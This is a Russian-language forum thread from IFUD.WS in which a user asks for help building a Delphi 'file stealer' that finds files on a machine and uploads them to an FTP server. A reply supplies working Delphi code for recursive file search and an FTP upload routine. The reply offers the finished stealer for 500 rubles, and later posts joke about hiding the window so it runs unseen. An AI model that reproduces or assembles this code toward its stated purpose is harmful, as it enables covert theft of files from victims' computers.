1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Стилер файлов(Delphi)

Тема в разделе "Помощь по всем вопросам.", создана пользователем djak741, 27 июл 2015.

  1. TopicStarter Overlay
    djak741

    djak741

    Регистрация:
    4 ноя 2014
    Сообщения:
    123
    Симпатии:
    48
    В общем, мне нужно написать стилер файлов с отправкой на фтп. Тоесть, нужно найти нужный файл/файлы и отправить их на фтп. Помогите плес. Второй день мучаюсь
     
    Метки:
  2. K_NoW

    K_NoW HackMe Please

    Регистрация:
    16 мар 2014
    Сообщения:
    464
    Симпатии:
    222
    Ща
    --- Добавил сообщение, 27 июл 2015 ---
    Пример рекурсивного поиска:
    Код:
    var
    Form1: TForm1;
    count:integer;
    
    implementation
    
    {$R *.dfm}
    procedure GetAllFiles(mask: string);
    var
    search: TSearchRec;
    directory: string;
    begin
    directory := ExtractFilePath(mask);
    if FindFirst(mask, $23, search) = 0 then
    begin
       repeat
         Form1.Memo1.Lines.Add(directory + search.Name);
    
         Inc(Count);
       until FindNext(search) <> 0;
    end;
    if FindFirst(directory + '*.*', faDirectory, search) = 0 then
    begin
       repeat
         if ((search.Attr and faDirectory) = faDirectory) and (search.Name[1] <> '.') then
           GetAllFiles(directory + search.Name + '\' + ExtractFileName(mask));
       until FindNext(search) <> 0;
       FindClose(search);
    end;
    end;
    procedure TForm1.Button1Click(Sender: TObject);
    var
    directory: string;
    mask: string;
    begin
    Count := 0;
    
    directory := edit2.text;
    mask := edit1.text;
    
    Screen.Cursor := crHourGlass;
    try
       GetAllFiles(directory + mask);
    finally
       Screen.Cursor := crDefault;
    end;
    ShowMessage(IntToStr(Count) + ' Files found');
    end;
    --- Добавил сообщение, 27 июл 2015 ---
    Отправка на фтп
    Код:
    procedure upload(LocalFilePath,FileNameOnServer,host,login,pass:string);
    
    const
    
    port=21;
    
    begin
    
    inet_open:=internetopen('iexplore',INTERNET_OPEN_TYPE_DIRECT,nil,nil,0);
    
    conn_param:=internetconnect(inet_open,pchar(host),port,pchar(login),pchar(pass),INTERNET_SERVICE_FTP,INTERNET_FLAG_PASSIVE,0);
    
    sleep(100);
    
    if ftpputfile(conn_param,pchar(LocalFilePath),pchar(FileNameOnServer),FTP_TRANSFER_TYPE_UNKNOWN,0) <>false then begin
    MessageBox(0,' Файл загружен, ссылка в буфере обмена!','KN@Uploader',0);
        SetClipboardText(0,clip);
    
    end;
    
    internetclosehandle(conn_param);
    
    internetclosehandle(inet_open) ;
    halt;
    
    END;
    --- Добавил сообщение, 27 июл 2015 ---
    За небольшую оплату всего 500р зделаю все как нужно.
     
    • Like Like x 1
    Последнее редактирование модератором: 27 июл 2015
  3. Grek

    Grek Команда форума

    Регистрация:
    14 ноя 2012
    Сообщения:
    1.460
    Симпатии:
    1.442
    правила читай. выпрашивание симпашек карается по закону
     
  4. nikitoz_tavr

    nikitoz_tavr

    Регистрация:
    16 июл 2012
    Сообщения:
    73
    Симпатии:
    3
    Ну хорошо, за 500 рублей сделаю в кратчайшие сроки
     
  5. K_NoW

    K_NoW HackMe Please

    Регистрация:
    16 мар 2014
    Сообщения:
    464
    Симпатии:
    222
    Form1.visible :=false :DD
     
  6. nikitoz_tavr

    nikitoz_tavr

    Регистрация:
    16 июл 2012
    Сообщения:
    73
    Симпатии:
    3
    пфф шутник)) кто же стиллер делает с формой??)
     
  7. K_NoW

    K_NoW HackMe Please

    Регистрация:
    16 мар 2014
    Сообщения:
    464
    Симпатии:
    222
    ты :DD:D
     
  8. nikitoz_tavr

    nikitoz_tavr

    Регистрация:
    16 июл 2012
    Сообщения:
    73
    Симпатии:
    3
    ага ага) конечно) если не знаешь, какое качество у моих программ, то не нужно тут херовые шутки кидать)
     

Поделиться этой страницей

Загрузка...